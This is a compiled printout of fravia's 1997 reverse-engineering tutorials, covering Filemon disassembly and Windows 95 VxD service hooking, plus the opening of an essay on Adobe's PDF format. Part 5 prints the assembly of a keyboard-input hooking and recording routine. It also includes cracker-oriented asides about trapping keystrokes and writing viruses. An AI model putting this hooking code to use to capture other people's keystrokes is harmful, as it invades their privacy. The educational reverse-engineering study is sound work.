box template resource. "dlgprc" specifies the procedure-instance
address
of the dialog box procedure.

http://www.instinct.org/fravia/filemon4.htm (20 of 26) [2/7/2001 3:20:26 PM]


filemon4

:1544 8BB42454010000 mov esi, [esp + 00000154]


:154B 6A00 push 00000000 ;lParamInit;
:154D 6890214000 push 00402190 ;dlgProc =
Function ABOUT
:1552 A1E8994000 mov eax, [004099E8] ;get hInst
:1557 56 push esi ;hWndOwner
:1558 6800814000 push 00408100 ;lpszDlgTem:
"AboutBox"
:155D 50 push eax ;hInst
:155E FF15E4B24400 Call dword ptr [0044B2E4] ;DialogBoxParam
:1564 E99B010000 jmp 1704_ax=0_&_ret ;bye WM_COMMAND

:IDM_SAVE, we land here through the relocation table


:1569 6A00 push 00000000
:156B A1B8964000 mov eax, [004096B8]
:1570 8BB42458010000 mov esi, [esp + 00000158]
:1577 50 push eax
:1578 56 push esi
:1579 E8A2060000 call 00401C20=savefile
:157E 83C40C add esp, C
:1581 E97E010000 jmp 1704_ax=0_&_ret

:IDM_SAVEAS, we land here through the relocation table


:1586 6A01 push 00000001
:1588 A1B8964000 mov eax, [004096B8]
:158D 8BB42458010000 mov esi, [esp + 00000158]
:1594 50 push eax
:1595 56 push esi
:1596 E885060000 call 00401C20=savefile
:159B 83C40C add esp, C
:159E E961010000 jmp 1704_ax=0_&_ret

:IDM_Capture, we land here through the relocation table


;since the first thing it does is checking TRUE a
;memory location, we'll call it 8064_Capture
:15A3 803D6480400001 cmp byte ptr [8064_Capture], 01 ;if
capture
:15AA 1AC0 sbb al , al ;let's
have
:15AC F6D8 neg al ;no
capture
:15AE A264804000 mov [8064_Capture], al ;in 8064
or
:15B3 3C01 cmp al, 01 ;the

http://www.instinct.org/fravia/filemon4.htm (21 of 26) [2/7/2001 3:20:26 PM]


filemon4

other way
:15B5 B800000000 mov eax, 00000000 ;round
:15BA 8BB42454010000 mov esi, [esp + 00000154]
:15C1 83D0FF adc eax, FFFFFFFF
:15C4 83E008 and eax, 00000008
:15C7 50 push eax
:15C8 68529C0000 push 00009C52 ;LISTMENU, Item: "Capture
Events"
:15CD 56 push esi
:15CE FF15DCB24400 Call dword ptr [0044B2DC] ;GetMenu,
:15D4 50 push eax
:15D5 FF15E0B24400 Call dword ptr [0044B2E0] ;CheckMenuItem,
:15DB E924010000 jmp 1704_ax=0_&_ret
The CheckMenuItem function selects (places a check mark next to) or clears (removes a check
mark from) a specified menu item in the given pop-up menu.
:IDM_Autoscroll, we land here through the relocation table
;since the first thing it does is checking TRUE a memory
;location, we'll call it 8068_Atscll... see how important
;are these "WM_COMMAND's IDMs" for tagging purposes?
:15E0 803D6880400001 cmp byte ptr [8068_Atscll], 01 ;see above
:15E7 1AC0 sbb al , al ;the same as
:15E9 F6D8 neg al ;for capture
:15EB A268804000 mov [8068_Atscll], al
:15F0 3C01 cmp al, 01
:15F2 B800000000 mov eax, 00000000
:15F7 8BB42454010000 mov esi, [esp + 00000154]
:15FE 83D0FF adc eax, FFFFFFFF
:1601 83E008 and eax, 00000008
:1604 50 push eax
:1605 68539C0000 push 00009C53 ;"Auto Scroll"
:160A 56 push esi
:160B FF15DCB24400 Call dword ptr [0044B2DC] ;GetMenu
:1611 50 push eax ;and places or remove checkmark
:1612 FF15E0B24400 Call dword ptr [0044B2E0] ;CheckMenuItem;
:1618 E9E7000000 jmp 1704_ax=0_&_ret

:IDM_CLEAR, we land here through the relocation table


:161D 8D44240C lea eax, [esp + 0C]
:1621 6A00 push 00000000
:1623 50 push eax
:1624 8B0D60804000 mov ecx, [00408060]
:162A 6A00 push 00000000

http://www.instinct.org/fravia/filemon4.htm (22 of 26) [2/7/2001 3:20:26 PM]


filemon4

:162C 6A00 push 00000000


:162E 6A00 push 00000000
:1630 6A00 push 00000000
:1632 6A01 push 00000001
:1634 51 push ecx
:1635 FF15E4B14400 Call dword ptr [0044B1E4]
;DeviceIoControl
:163B 85C0 test eax, eax ;lost
device?
:163D 751F jne 0040165E ;works, go
update
:163F 8BB42454010000 mov esi, [esp + 00000154]
:1646 6814814000 push 00408114 ;->"Couldn't access
device driver"
:164B 56 push esi
:164C E8AFF9FFFF call 1000_Abort
:1651 83C408 add esp, 00000008
:1654 B801000000 mov eax, 00000001
:1659 E9A8000000 jmp 1706_keep ax_&_ret

:continue IDM_CLEAR: Update


:165E 6A01 push 00000001
:1660 A1B8964000 mov eax, [004096B8]
:1665 8BB42458010000 mov esi, [esp + 00000158]
:166C 50 push eax
:166D 56 push esi
:166E E8CD030000 call 00401A40 ;UpdateStatistic
:1673 83C40C add esp, 0000000C
:1676 E989000000 jmp 1704_ax=0_&_ret

:IDM_FILTER, we land here through the relocation table


;Calls FilterProc (same as for the About case)
:167B 8BB42454010000 mov esi, [esp + 00000154]
:1682 6A00 push 00000000
:1684 68D01E4000 push 00401ED0 ;FilterProc!
:1689 A1E8994000 mov eax, [004099E8]
:168E 56 push esi
:168F 680C814000 push 0040810C ;->"Filter"
:1694 50 push eax
:1695 FF15E4B24400 Call dword ptr [0044B2E4]
;USER32.DialogBoxParamA
:169B EB67 jmp 1704_ax=0_&_ret

:WM_ = 0113 = WM_TIMER

http://www.instinct.org/fravia/filemon4.htm (23 of 26) [2/7/2001 3:20:26 PM]


filemon4

The WM_TIMER message is posted to the installing application's


message
queue or sent to the appropriate TimerProc callback function after
each
interval specified in the SetTimer function used to install a
timer. Location
[8064] is already called 8064_Capture here, because we already
investigated it
above.
How do we know, below, that "44B1E4" corresponds to DeviceIoControl?
There are two possibilities: luck (search for 44B1E4 inside the dead listing, may be you are lucky
and the programmer has called it DIRECTLY somewhere else) or a little "zen" feeling (number of
parameters, context, various feelings). Here it is luck :-)

:169D 803D6480400000 cmp byte ptr [8064_Capture], 00


:16A4 745E je 00401704 ;return if no
capture
:16A6 8B1DE4B14400 mov ebx, [0044B1E4] ;DeviceIoControl
:16AC 8BB42454010000 mov esi, [esp + 154]
:16B3 33FF xor edi, edi ;make sure edi
is zero!

:loop_16B5
:16B5 57 push edi ;0
:16B6 A160804000 mov eax, [00408060]
:16BB 68B4964000 push 004096B4 ;push Statslen
loc
:16C0 6800000400 push 00040000 ;SizeofStats
:16C5 68F0994000 push 004099F0
:16CA 57 push edi ;0
:16CB 57 push edi ;NULL
:16CC 6A02 push 00000002
:16CE 50 push eax
:16CF FFD3 call ebx ;DeviceIoControl
:16D1 85C0 test eax, eax ;ERROR?
:16D3 741A je 004016EF ;Abort
:16D5 393DB4964000 cmp [004096B4], edi
;Statslen=0?
:16DB 7427 je 00401704 ;exit loop return
FALSE
:16DD 57 push edi
:16DE A1B8964000 mov eax, [004096B8]

http://www.instinct.org/fravia/filemon4.htm (24 of 26) [2/7/2001 3:20:26 PM]


filemon4

:16E3 50 push eax


:16E4 56 push esi
:16E5 E856030000 call 00401A40 ;UpdateStatistic
:16EA 83C40C add esp, C
:16ED EBC6 jmp 004016B5 ;loop_16B5

:abort
:16EF 6814814000 push 00408114 ;->"Couldn't access
device driver"
:16F4 56 push esi
:16F5 E806F9FFFF call 1000_Abort_funct
:16FA 83C408 add esp, 00000008

:16FD_return true
:16FD B801000000 mov eax, 1 ;flag return value TRUE
:1702 EB02 jmp 1706_keep ax_&_ret

:1704_ax=0_and_ret
:1704 33C0 xor eax, eax

:1706_keep_ax_and_ret
:1706 5F pop edi
:1707 5E pop esi
:1708 5B pop ebx
:1709 81C444010000 add esp, 00000144
:0040170F C21000 ret 0010 ;bye MainWndProc

:1712 8BFF mov edi, edi

:IDM_jump table for WM_COMMAND


:1714 69154000 DWORD 00401569 ;IDM_SAVE
:1718 86154000 DWORD 00401586 ;IDM_SAVEAS
:171C A3154000 DWORD 004015A3 ;IDM_CAPTURE
:1720 E0154000 DWORD 004015E0 ;IDM_AUTOSCROLL
:1724 1D164000 DWORD 0040161D ;IDM_CLEAR
:1728 7B164000 DWORD 0040167B ;IDM_FILTER
:172C F5144000 DWORD 004014F5 ;IDM_EXIT

:IDM_ relocation table for WM_COMAND, rewritten, since Wdasm


;does not interpret this snippet correctly
:1730 00 06 06 06 06 01 06 06
:1738 06 06 06 02 03 04 06 06
:1740 05

http://www.instinct.org/fravia/filemon4.htm (25 of 26) [2/7/2001 3:20:26 PM]


filemon4

Well, we are almost DONE! We'll tackle the device driver in the next (and last) part.
(c) fravia+ 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:
filemon1 filemon2 filemon3 filemon5
homepage links anonymity +ORC students' essays tools cocktails
antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/filemon4.htm (26 of 26) [2/7/2001 3:20:26 PM]


filemon5

How to reverse engineer a Windows 95 target


(filemon)
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2e)
Version 0.01

by fravia+ (MSRE), 1997

Part E: VXD vagaries and mysteries - 01 September 1997


Courtesy of Fravia's page of reverse engineering

Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in five (or more)
parts:

A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
D = Back to Main
E = VXD vagaries and mysteries

Although already disponible, this essay is still under construction and will be modified and
ameliorated until the wording below will disappear (I reckon until mid-October)

UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2e)
How to reverse engineer a Windows 95 program: filemon
~
Part E: VxD vagaries and mysteries

(c) Fravia (MSRE), 1997. All rights reversed


Print as html document, else use courier 8

VxDs or the "black art" in Windows


Well, notwithstanding the banner "Under construction" above, many of you have emailed me
asking where did remain this fifth part of my filemon tutorial (the one about VxD reverse

http://www.instinct.org/fravia/filemon5.htm (1 of 12) [2/7/2001 3:20:33 PM]


filemon5

engineering). A first explanation of the delay can be condensed in this short sentence: VxD
reverse engineering is difficult because VxD programming seems to have been a sort of "black
art", reserved to few "afecionados"... remember that back in the times of Windows 3.0. you where
not even ALLOWED to program VxD unless you where Micro$oft certified... I'm not jocking...
Micro$oft always loved to keep knowledge of its Oss "guts" half secret...
Let's start from the beginning... it's all a question of hooks by the way... remember the good old
DOS hooks? You intercepted some interrupts (hooked them) and wrote your routines. The
intercepted pointers pointed to your code, which executed and, at the end, returned control to the
"correct" interrupt... many protections (and many viruses) where based on this hooking, have a
look at +ORC's (very old) example for UniversalMilitarySimulator_I or at any disassembled virus
of the early '90 and you'll immediately see what I mean.
Well, the new hooks for Windows 95 have been placed at the lowest level possible: the virtual
device (VxD) level... and this gives programmers (and reverse engineers :-) quite a lot of input and
output control, as you will see.
(Please don't take all too seriously my jokes -in this part of the tutorial- about "white" VxD
reversing and "black" VxD writing)

VMM_ Get_System_Time_Address... an idea for a very tough protection


BTW, a side product of this VxD hooking is the possibility of writing VERY TOUGH protections
(shareware programmers, are you reading this?). I'm not aware that somebody has used until now
the following trick (that we'll deeply examine in this part of my tutorial): There is a VMM (Virtual
Machine Manager) service Get_System_Time_Address, which returns a pointer to a memory
location where Windows keeps track of the number of milliseconds since Windows booted.
Accessing this location directly avoids the overhead of calling a service like Get_System_Time.
Btw, as you will see examining the VMM.vxd (see below HOW to do it and wich tools to use),
there are many other interesting services, like for instance the following two:
1003F @ 00002970 Get_System_Time
100CF @ 00002976 Get_Last_Updated_System_Time
History: mother of all reverse engineers
How did I tackle the task of reverse engineering the VxD in filemon, once I noticed that it was
quite complicated for me to reverse engineer? Simple: I did a RESEARCH. See, Mark
Russinovich and Bryce Cogswell have not pulled filemon out of an empty hat... they must have
worked on similar projects before, and it was probable that they had implemented their first VxD
"essays" in a much easier way. If you know how to search the web, the rest is easy (and if you
don't know how to search effectively the web, just leave this cracking stuff alone for a while and
go learn "searching", come back when you are finished).
On Dr Dobb's Journal, issue 245, March 1996,
http://www.ddj.com
there is an interesting article by Mark Russinovich and Bryce Cogswell: Windows 95 journaling
and playback, which is useful to understand how VxDs are implemented and, even better given
our reverse engineering target, how the same Mark Russinovich and Bryce Cogswell use to

http://www.instinct.org/fravia/filemon5.htm (2 of 12) [2/7/2001 3:20:33 PM]


filemon5

implement them. I'll use a lot of the code and of the text of that article in this part of my tutorial... I
believe that it is worth reading.
Basically the point was to underline the difference in "hooking" between Windows 3.1. and
Windows 95, using a "recorder" program, like the one inside the main utility group of Windows
3.1., which disappeared in windows 95 (Mark Russinovich and Bryce Cogswell give the code for
a Windows 95 recorder in that same article).

Old hooking, new hooking


Windows 3.1. hooks worked at the APPLICATION-MESSAGE level, like most of our patches
when we de-protect, btw, and have been carried forward inside Windows 95, generally unchanged
(although Micro$oft no longer provides a recorder program).
While these hooks are sufficient for many applications, they have significant shortcomings, for
example they do not "journal" keyboard input going into DOS windows, or input going into a
DOS full-screen session (many games). Another problem is that the old hooks force all input
coming from the mouse and keyboard to be funneled into a journaling program for it to save,
before being passed on to the target application. The inverse happens in playback (remember that
we are speaking here of a "recorder" program), with Windows asking the journaler for input to
simulate.
Windows 95 has a decentralized input scheme: Windows 95 feeds input directly to the INPUT
QUEUE of applications. It is therefore no more necessary that a windows program participate
ACTIVELY in the journaling process, with the consequence of a performance degrading in
Windows 3.1., because these programs had to "wake up" at every mouse or keyboard input, using
up cycles that other programs might have needed (so Windows 95 is sort of an "improvement",
after all :-)
Since the new hooks have NO windows application-level API, they are inaccessible to most
developers, which is exactly what Micro$oft likes: "toy applications for the stupid slaves and
rentable programs "that sell" for Micro$oft's so called "programmers".
But let's be clear: the new VxD hooking techniques are only an amelioration (history "docet", as
always) of the old

SetWindowsHookEx(idHook, hkprc, hinst, htask) procedure,


int idHook; /* type of hook to install */
HOOKPROC hkprc; /* procedure-instance address of
filter function */
HINSTANCE hinst; /* handle of application instance
*/
HTASK htask; /* task to install the hook for
*/

The SetWindowsHookEx function installs an application-defined hook


function into
a hook chain. This function is an extended version of the older
SetWindowsHook

http://www.instinct.org/fravia/filemon5.htm (3 of 12) [2/7/2001 3:20:33 PM]


filemon5

function, which in turn derived from the Windows 3.0 DefHookProc


function, which
calls the next function in a chain of hook functions. A hook
function is a
function that processes events before they are sent to an
application's
message-processing loop in the WinMain function. When an
application defines
more than one hook function by using the SetWindowsHook function,
Windows
forms a linked list or hook chain. Windows places functions of the
same
type in a chain
As you can see... we are just following the development of our good old DOS interrupt hooks.
Back to the "new" VxD hooking...

Keyboard hooks and mouse hooks


Two different separate hooks, for the mouse and for the keyboard are necessary since SEPARATE
VxDs deal with each type of input. Both VxDs have a VxD level API, allowing other VxDs to
request to see inputs as they are received BY THE SYSTEM, as well as to generate simulated
input from a device.
One year before our target filemon and its companion regmon, Mark Russinovich and Bryce
Cogswell have developed "recorder", a macro recorder application, which consists of a Windows
95 32-bit GUI as user interface and a VxD that serves as the recording and playback controller...
you see that the layout of all their programs, past and present (and probably future) is always the
same... history matters a lot in our trade, as +ORC teach us. You'll find the source code (complete
with the very nice notice "You have the right to take this code and use it in whatever way you
wish", which in our case is not really necessary, since that is exactly what we usually do anyway
with all the programs we put our hands on :-) at Dr Dobb's, an American pretty expensive
magazine "for real programmers" that publishes at times well written articles, many of them about
"minor" languages. Unfortunately the articles ARE NOT on-line (as usual there is a "commercial"
catch somewhere), yet the source code is. Have a look at http://www.ddj.com, and fetch "March
1996" source code, you'll find record.zip... btw you'll find a LOT of interesting code peeking
around there.

How does recorder record?


Let's see how Recorder VxD simulates input from the mouse and the keyboard... I know, I know,
your brain is still full of filemon's code, and now fravia takes you on a boat ride on ANOTHER,
completely different target. But you want to understand VxDs don't you? And you would like to
reverse engineer them as much as I do, don't you? Therefore shut up and follow me, you'll be
eventually rewarded.
Mark Russinovich and Bryce Cogswell's recorder sees system input via "service hooking", an
obscure feature of the Windows VxD architecture that let's you see JUST ABOUT

http://www.instinct.org/fravia/filemon5.htm (4 of 12) [2/7/2001 3:20:33 PM]


filemon5

EVERYTHING GOING ON INSIDE THE GUTS OF WINDOWS and gives you the control to
completely change its behavior.
Just like old DOS interrupt hooking, once a service is hooked, any VxD or application calling the
service gets redirected to the hooker VxD first. So your hooking VxD takes control: you can
choose to pass the request on to the next VxD of the chain, CHANGE THE PARAMETERS to the
request and pass the same request on "MAGICALLY ALTERED", or service the request itself
yourself... yes, yes, your +cracker brain begins now to perceive the huge power that this can give
us (and not only in reverse engineering and patching targets... future windows virii writers, are you
reading this? :-)

How do I hook VxDs, man?


Well, I'm not going to transform you in Micro$oft's programmers with my tutorial, VxD
programming needs the SDK, so they say to trap you in... that's the dark path +ORC warned us
about, my readers, from there you would never come back... Yet I hope, through some simple
tools, to impart you the ability to reverse engineer most VxDs WITHOUT much knowledge of
Windoze's programming techniques... you'll be able to do it in name of the "white magical power"
conferred to us by our superior assembly understanding... just follow on, at the end it will be
indeed wizards against wizards. To make hooking VxD services possible, each VxD has a
memory location assigned for each of its services that points to the top of a hook chain. When a
new hooker is "registered" for a service, the appropriate address is modified in order to point to the
NEW hook routine.
The hook routine itself must be declared as a Hook_Proc in its assembly language declaration like
this:
BeginProc Hook_routine
Hook_Proc Chain_Save
Chain_Save is a double word variable that YOU assign, and to which Hook_Device_Service
stores the PREVIOUS top of the hook chain. The Hook_Proc tag causes the code in this example
to appear at the START of the procedure:

jmp Hook_routine ;skip over the book-keeping info


jmp Chain_Save ;bogus code, its just here to point windows
at
;the variable storing the previous service
address
dd 0 ;not used
Hook_routine: ;your home made hooking routine is here
So the above code appears every time you use the Hook_Proc tag.
When a hook is removed from the chain, the link to the next service in the chain is obtained from
the Chain_Save location above, making hooking and unhooking transparent to the VxD
programmer. The Chain_Save variable can also be used by the hooking routine to chain to the
previous hooker if it wants to pass the request (modified or "pure") on.

http://www.instinct.org/fravia/filemon5.htm (5 of 12) [2/7/2001 3:20:33 PM]


filemon5

Mark Russinovich and Bryce Cogswell's recorder must hook the Virtual Keyboard Driver VxD
service D0012 @ 00000E00 VKD_Filter_Keyboard_Input (we'll see very soon how to get these
VxDs disassembled and how to get these data out of them :-). This service is called by the VKD
itself (VKD.vxd) upon keyboard input. The service was written with the sole intention that some
other VxD would hook it to record, and possibly alter, keyboard input. Let's have a look at the
VKD call to the service and to the service itself:

ONE
...
; VKD calls its own service with input
mov cl, scancode ;scancode is the
keyboard input
VxDCall VKD_Filter_Keyboard_Input ;call the service
jc noinput ;if carry set kill the
input
...
And this is the disassembly (wdasm89) from VKD.vxd:

:00000E00 F8 clc ;clear carry flag


:00000E01 C3 ret ;ret
Note that we are at :E00, would you have been interested in

D0001 @ 0000416B VKD_Define_Hot_Key


Then you would have had this code snippet:

:0000416B 51 push ecx


:0000416C 57 push edi
:0000416D 33FF xor edi, edi
:0000416F F6C180 test cl, 80
:00004172 741A je 0000418E
:00004174 80E17F and cl, 7F
:00004177 0FBC3D4D120000 bsf edi, dword ptr [0000124D]
:0000417E 740B je 0000418B
:00004180 0FB33D4D120000 btr dword ptr [0000124D], edi
:00004187 73EE jnb 00004177
:00004189 EB03 jmp 0000418E
...
Have a little patience, please, you'll soon learn how to reverse engineer VxD code WITHOUT any

http://www.instinct.org/fravia/filemon5.htm (6 of 12) [2/7/2001 3:20:33 PM]


filemon5

Micro$oft SDK... let's go on to the second interesting listing from our "historical" target record...

TWO
; default filter service
BeginProc VKD_Filter_Keyboard_Input

GetVxDServiceOrdinal eax, VKD_Filter_Keyboard_Input ;get the ID


of the filter service
mov esi, offset 32 Record_keyboard ;address of
our hook routine
VMM Call Hook_Device_Service ;hook
mov Keyboard_Proc, esi ;save
previous hook

THREE
;=============================================================
; Record_Keyboard - Records keyboard input into the input buffer.
; Entry: CL - Scancode of key pressed.
;==============================================================
Public Record_Keyboard
BeginProc Record_Keyboard, Hook_Proc Keyboard_Proc
push eax
push ebx
; record the input
mov ebx, Buffer_ptr
cmp ebx, offset32 Buffer + BUFFER_SIZE - sizeof
REC_mouse_entry
jae rk_done
mov [ebx].rectype, KEYBDTYPE
mov [ebx].scancode, cl ; scancode is in
cl
push eax
mov eax, System_Time
mov eax, [eax] ; get the
timestamp
mov [ebx].timestamp, eax
pop eax
add ebx, sizeof REC_kbd_entry ; move forward in
buffer
mov Buffer_ptr, ebx
mov [ebx].rectype, INVALIDTYPE ; mark end of
macro
; call the previous hooker

http://www.instinct.org/fravia/filemon5.htm (7 of 12) [2/7/2001 3:20:33 PM]


filemon5

rk_done:
call Keyboard_Proc
pop ebx
pop eax
clc ; let the key
through
ret
EndProc Record_Keyboard
We'll later examine more deeply the above code, for the moment just get a "feeling" for this stuff.
Let's go on.
To alter input, a hooking VxD simply changes here the value of the CL register to a new scancode,
to kill input, the hooking routine sets the carry flag before it returns. The recorder VxD hook
procedure saves the value of the CL register (and the current time) into a buffer. Listing TWO,
above, hooks the service, while listing THREE, above, is a keyboard-recording routine (that you
may also find useful for incorporating in your own probes... in order to trap keyboard input...
should you ever need to do something like that :-)

Some VMM32.VXD snooping


Have a look at your Windows/system directory... you'll see there vmm32.vxd, an 807.975 bytes
long VxDs "collection", let's have a look at it, we want to examine the VKD, don't we. Hay! This
is a compressed and encrypted file! Oh poor crackers! Will they not even be able to get a sound
dead listing out of it?
Yes, we will! Good old +ORC did teach us how to get at the VxDs, didn't he? So let's follow +his
instructions and then we will be able to have a look at Micro$oft hidden and encrypted VKD.vxd
(please don't confuse VKD, virtual keyboard driver, with VxD, virtual Device driver :-). Let's
recall +ORC's words:
...and you'll need a special tool to extract Windows Virtual
Device Drivers
(VxDs) from W3 (WIN386.EXE) & W4 (VMM32.VXD) format archive files.
You see... inside these archives dwell all the virtual devices
drivers currently
used by your machine, which have been (as usual) purposely HIDDEN
there by
Micro$oft... but I'll explain you how to fetch them using a couple
of tools that have
been written by a man I have met some years ago, a master of
executable
unpacking...
Well, since the very first tool to use is the vxdlib extractor, in our case, searching for VKD.vxd,
just do the following:

http://www.instinct.org/fravia/filemon5.htm (8 of 12) [2/7/2001 3:20:33 PM]


filemon5

1) get VXDLIB v.1.01 ;get vxdlib.zip


2) c:\windows\system\VXDLIB -u vmm32.vxd ;unpack this vxd huge
archive
3) c:\windows\system\VXDLIB -l vmm32.vxd ;gives you 45 total
VxDs
4) c:\windows\system\VXDLIB -u vmm32.vxd VKD ;extract your target
VKD
result -> VKD.vxd 001EB000 001F7000 0000C000
and you'll get the file VKD.vxd, 49280 (0xC080) bytes, inside your windows/system directory,
use W3map to have a look at this VxD, or, even better, just disassemble it (now) with wdasm89,
you'll notice the many "objects" (LCOD, MCOD, VMCR... etc) inside it... Another (quicker)
possibility is to use another fine utility: dumplx.zip, by Clive Turvey, the same Author of
vxdlib.exe. Btw, Clive Turvey is the "successor" of Andrew Schulman at the "Windows Source"
project (Version three and following versions)... so the tools that +ORC has pointed out for us
have been made by the "top gurus" of this planet.

If you do, you'll see at the bottom the following very interesting "DDB" table:

DDB Service Table

D0000 @ 00004164 VKD_Get_Version


D0001 @ 0000416B VKD_Define_Hot_Key
D0002 @ 000041EA VKD_Remove_Hot_Key
D0003 @ 0000422E VKD_Local_Enable_Hot_Key
D0004 @ 00004245 VKD_Local_Disable_Hot_Key
D0005 @ 0000425C VKD_Reflect_Hot_Key
D0006 @ 0000429E VKD_Cancel_Hot_Key_State
D0007 @ 000000DA VKD_Force_Keys
D0008 @ 00000124 VKD_Get_Kbd_Owner
D0009 @ 00006000 VKD_Define_Paste_Mode
D000A @ 00006019 VKD_Start_Paste
D000B @ 000060B8 VKD_Cancel_Paste
D000C @ 0000012B VKD_Get_Msg_Key
D000D @ 00000158 VKD_Peek_Msg_Key
D000E @ 00000180 VKD_Flush_Msg_Key_Queue
D000F @ 0000403C VKD_Enable_Keyboard
D0010 @ 00004000 VKD_Disable_KeyBoard
D0011 @ 0000005C VKD_Get_Shift_State
D0012 @ 00000E00 VKD_Filter_Keyboard_Input
D0013 @ 00000F79 VKD_Put_Byte
D0014 @ 00000068 VKD_Set_Shift_State

http://www.instinct.org/fravia/filemon5.htm (9 of 12) [2/7/2001 3:20:33 PM]


filemon5

Here the comment by Clive Turvey:

Windows does not use imports but instead uses INT 20h dynamic
links that are fixed up on the fly. In assembler these calls
are in
the form VMMCall, VMMJmp, VxDCall & VxDJmp. Windows only
exports a
single pointer to the DDB a device driver header, this header
contains
function exports that other VxDs can call with the dynamic
linking
described above. When known the name associated with a dynamic
function
number is displayed (by dumplx.exe)
Yes, we begin to understand... we are now almost ready to begin our holy VxDs reversing... let's
see if we really have all the necessary weapons...

VxD reversing "white" tools (as alternative to the "black" SDK suite :-)
Let's resume the VERY important tools that you'll need on your VxDs endeavour:
The vxdlib.exe unpacker/extractor (otherwise there is no "dead listing" of Micro$oft's VxDs)
The dumplx.exe dumper (otherwise you won't get the DDB service table)
vxdmon.zip (60.260 bytes) by "our" duo: Mark Russinovich and Bryce Cogswell another
important tool to study "alive" the working of VxDs
Obviously there is a SoftIce approach as well (SoftIce has everything)...
VXD This command displays the VxD map in the command window, you may use the VxD
names to set breakpoints at the entry points of the VxD service routines you are interested in (you
may also use VXD WINICE to see Softice own VxD :-)

VCALL display the names and addresses of VxD callable routines (note that the addresses
displayed are NOT valid until the VMM VxD has been initialized. Here an example:
VCALL Call*

VM Displays information on virtual machines, if you specify a


VM-ID parameter, then the register values of this VxD are
displayed (may be unvalid, study the VM instructions). VM is the
command you'll most use when you crack VxD, DPMI applications and
DOS programs running in VMs.

http://www.instinct.org/fravia/filemon5.htm (10 of 12) [2/7/2001 3:20:33 PM]


filemon5

TO BE CONTINUED
I showed you two examples above. Now let's see how register's code calls these services: (you'll
find the code inside the file "record.asm" For instance this snippet, that we have already seen
above:

; first hook the keyboard input

GetVxDServiceOrdinal eax, VKD_Filter_Keyboard_Input


mov esi, offset32 Record_Keyboard
VMMCall Hook_Device_Service
jnc installmouse
Now do the following:
1) Disassemble record.vxd with wdasm89 and save the *.asm file
2) dumplx record.vxd and look at the DBB entry:

DDB Entry

00000000 DDB_Next
0400 DDB_SDK_Version
0000 DDB_Req_Device_Number
1.00 DDB_Device_Version
0000 DDB_Flags
RECORD DDB_Name
80000000 DDB_Init_Order
00002080 DDB_Control_Proc
00000000 DDB_V86_API_Proc
00000000 DDB_PM_API_Proc
00000000 DDB_V86_API_CSIP
00000000 DDB_PM_API_CSIP
00000000 DDB_Reference_Data
00000000 DDB_Service_Table_Ptr
00000000 DDB_Service_Table_Size
00000000 DDB_Win32_Service_Table_Ptr
50726576 DDB_Prev
00000050 DDB_Size
52737631 DDB_Reserved1
52737631 DDB_Reserved2
52737631 DDB_Reserved3

http://www.instinct.org/fravia/filemon5.htm (11 of 12) [2/7/2001 3:20:33 PM]


filemon5

(c) fravia+ 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:
filemon1 filemon2 filemon3 filemon4

homepage links anonymity +ORC students' essays tools cocktails


antismut search_forms mail_fravia
is reverse engineering legal?

http://www.instinct.org/fravia/filemon5.htm (12 of 12) [2/7/2001 3:20:33 PM]


ragica1

PDF: introductory/historical notes (all you need to


crack it)
(A Response to +ORC's Message Regarding reversing PDF)
by Ragica

(1 November 1997)

Courtesy of Fravia's page of reverse engineering

Well, read what Ragica wrote to me:

Hi Fravia. I wrote yesterday (or whenever) and said I'd provide


some more PDF information in regards to +ORC's message about it.

I have wipped up a long mostely useless rant on the subject, however


it contains what I think is the biggest collection ever (in fact
the only collection ever so far!) of information regarding hacking
PDF and links to relavant information.

I don't know if it's anything you can use for your site, but it is
perhaps a starting point, and a good reference for anyone who
is interested tackling PDF in a more meaningful way.

It includes links to detailed information on PDF encryption,


other hack attempts, easy methods to defeat the OWNER (security)
password protected options, and so on.

A Response to +ORC's Message Regarding Hacking PDF - by Ragica


--------------------------------------------------

While I appreciate (very much) +ORC's perspective on the Adobe PDF


format, and wish that tools for creating PDF were more accessible
so that PDF would be more widespread than it already is, I would
like to perhaps add some information, clear up some misconceptions,
and even say a few things in Adobe's favour.

SOME INTRODUCTORY/HISTORICAL NOTES

It is true that Adobe is horribly protectionist in their


attitudes. I believe this is a historical artifact of their
organisation. They developed postscript and type 1 fonts, both
formats still after all this time industry standards.

http://www.instinct.org/fravia/ragica1.htm (1 of 9) [2/7/2001 3:20:46 PM]


ragica1

Adobe did not, it seems to me, realise what Microsoft would do to


them when Microsoft exploited it's OS virtual monopoly to push
TrueType fonts. The superior (in most cases) Adobe Type 1 fonts
have all but dried up and disappeared as far as "regular" users are
concerned. Only professional typesetters and publishers continue to
use them for the most part -- although they are still used on
non-windows platforms to greater and lesser extents. Soon Type 1
fonts will be incorporated into the OpenType standard which is
supposed to be a joint project between Adobe and Microsoft, but if
you read the Microsoft Web pages (URL down below) concerning it
you will be left with the distinct impression that it's all
Microsoft's doing, their benevolent design to help us all...

But back to topic of PDF. I mention all this font/postscript stuff


just to point out that Adobe does have some historical experience
in these areas -- the areas of controlling and maintaining an
industry standard format, and also in being rolled over mercilessly
by the Microsoft Beast.

A HALF HEARTED DEFENCE OF ADOBE AND PDF

Now lets examine how they are handling their Portable Document
Format. It would be nice if they were out just to make the world a
better place for everyone to live in, as +ORC (as well as myself)
would like to see, however they are at the bottom line just
attempting to make money. However, this is not necessarily
completely intrinsically evil.

I would like to point out that while Adobe controls the PDF format
they have published the specifications and made them freely
available (I will list all my URL references at the end of this
message). Furthermore, while it costs 500 bucks to join their
Developer club, they also have released the Adobe Acrobat SDK for
free -- so theoretically, anyone else, any company or individual,
could create their own PDF creator/filter without even the need to
reverse engineer, or otherwise hack the format.

In fact we are seeing this happen already (not as quickly as we


might like, but it is happening). Many other major applications are
finally picking up the PDF format. Quark Xpress, and Corel for
example. Of course other Adobe products such as Illustrator and
Photoshop have PDF support, and Pagemaker comes bundled with
Acrobat Distiller and is ideal for creating PDF documents.

The thing which Adobe protects by keeping and developing PDF as


proprietary is purity. We have all seen (mostly to our horror) how
the HTML format has been completely mangled by competing commercial

http://www.instinct.org/fravia/ragica1.htm (2 of 9) [2/7/2001 3:20:46 PM]


ragica1

forces. The standard has barely been adhered to, and the bullies of
